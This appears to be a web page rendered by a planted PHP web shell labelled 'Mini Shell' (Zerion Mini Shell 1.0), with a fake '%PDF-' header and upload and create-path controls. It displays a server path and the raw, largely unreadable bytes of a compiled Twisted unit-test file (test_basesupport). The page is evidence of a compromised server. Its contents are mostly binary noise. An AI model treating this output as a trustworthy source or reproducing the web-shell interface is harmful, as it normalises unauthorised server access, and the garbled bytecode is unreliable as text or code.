%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/twisted/words/test/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/twisted/words/test/__pycache__/test_basesupport.cpython-312.pyc

�

Ϫ�f����ddlmZmZddlmZddlmZGd�dej�ZGd�d�Z	Gd�d	ej�Zy
)�)�defer�error)�unittest)�basesupportc�*�eZdZdZdZdZd�Zd�Zd�Zy)�DummyAccountzO
    An account object that will do nothing when asked to start to log on.
    Fc�L�tj�|_|jS)z�
        Set self.loginDeferred to the same as the deferred returned, allowing a
        testcase to .callback or .errback.

        @return: A deferred.
        )r�Deferred�
loginDeferred)�self�argss  �E/usr/lib/python3/dist-packages/twisted/words/test/test_basesupport.py�_startLogOnzDummyAccount._startLogOns��#�^�^�-����!�!�!�c�P�d|_tjj||�S�NT)�loginHasFailedr�AbstractAccount�_loginFailed�r�results  rrzDummyAccount._loginFaileds#��"����*�*�7�7��f�E�Erc�P�d|_tjj||�Sr)�loginCallbackCalledrr�	_cb_logOnrs  rrzDummyAccount._cb_logOns#��#'�� ��*�*�4�4�T�6�B�BrN)	�__name__�
__module__�__qualname__�__doc__rrrrr�rrrr	s%����N���"�F�Crrc��eZdZdZdZd�Zy)�DummyUIzT
    Provide just the interface required to be passed to AbstractAccount.logOn.
    Fc��d|_yr)�clientRegisteredrs  r�registerAccountClientzDummyUI.registerAccountClient+s
�� $��rN)rrrrr#r$rrrr!r!$s�����%rr!c�*�eZdZd�Zd�Zd�Zd�Zd�Zy)�ClientMsgTestsc��t�S)N)r!�rs r�makeUIzClientMsgTests.makeUI0s
���y�rc�"�tdddddd�S)N�laF�	localhosti)rr(s r�makeAccountzClientMsgTests.makeAccount3s���D�%��t�[�$�G�Grc������j���j�}�j|�}�jj	d���fd�}|j|�|S)�z
        Test that account.logOn works, and it calls the right callback when a
        connection is established.
        Nc�v���j�jd��j�jd�y)NzLogin shouldn't have failedzWe should be logged in)�assertFalser�
assertTruer)r�accountrs ��r�checkz*ClientMsgTests.test_connect.<locals>.check@s/������W�3�3�5R�S��O�O�G�7�7�9Q�Rr)r-r)�logOnr�callback�addCallback)r�ui�dr4r3s`   @r�test_connectzClientMsgTests.test_connect6sY���
�"�"�$��
�[�[�]���M�M�"������&�&�t�,�	S�	
�
�
�e���rc�������j���j���j��}�jj	t�����fd�}�fd�}|j
||�|S)r/c����j�jd��j�jd��j�jd�y)NzLogin should have failedzWe shouldn't be logged inz(Client shouldn't be registered in the UI)r2rr1rr#)�reasonr3rr8s ���r�errz.ClientMsgTests.test_failedConnect.<locals>.errQsJ����O�O�G�2�2�4N�O����W�8�8�:U�V��O�O��'�'�'�)S�
rc�(���jdd�S)NFzShouldn't get called back)r2)�rrs �r�<lambda>z3ClientMsgTests.test_failedConnect.<locals>.<lambda>Xs���t���u�.I�J�r)r-r)r5r�errback�	Exception�addCallbacks)rr9r>�cbr3r8s`   @@r�test_failedConnectz!ClientMsgTests.test_failedConnectGsb���
�"�"�$��
�[�[�]���M�M�"������%�%�i�k�2�	�K��	���r�3���rc��|j�}|j�}|j|�|jtj
|j|�y)ze
        Test that it can fail sensibly when someone tried to connect before
        we did.
        N)r-r)r5�assertRaisesr�ConnectError)rr3r8s   r�test_alreadyConnectingz%ClientMsgTests.test_alreadyConnecting\sE��
�"�"�$��
�[�[�]���
�
�b�����%�,�,�g�m�m�R�@rN)rrrr)r-r:rFrJrrrr&r&/s���H��"�*Arr&N)�twisted.internetrr�
twisted.trialr�twisted.words.imrrrr!�TestCaser&rrr�<module>rOsB��*�"�(�C�;�.�.�C�6%�%�5A�X�&�&�5Ar

Zerion Mini Shell 1.0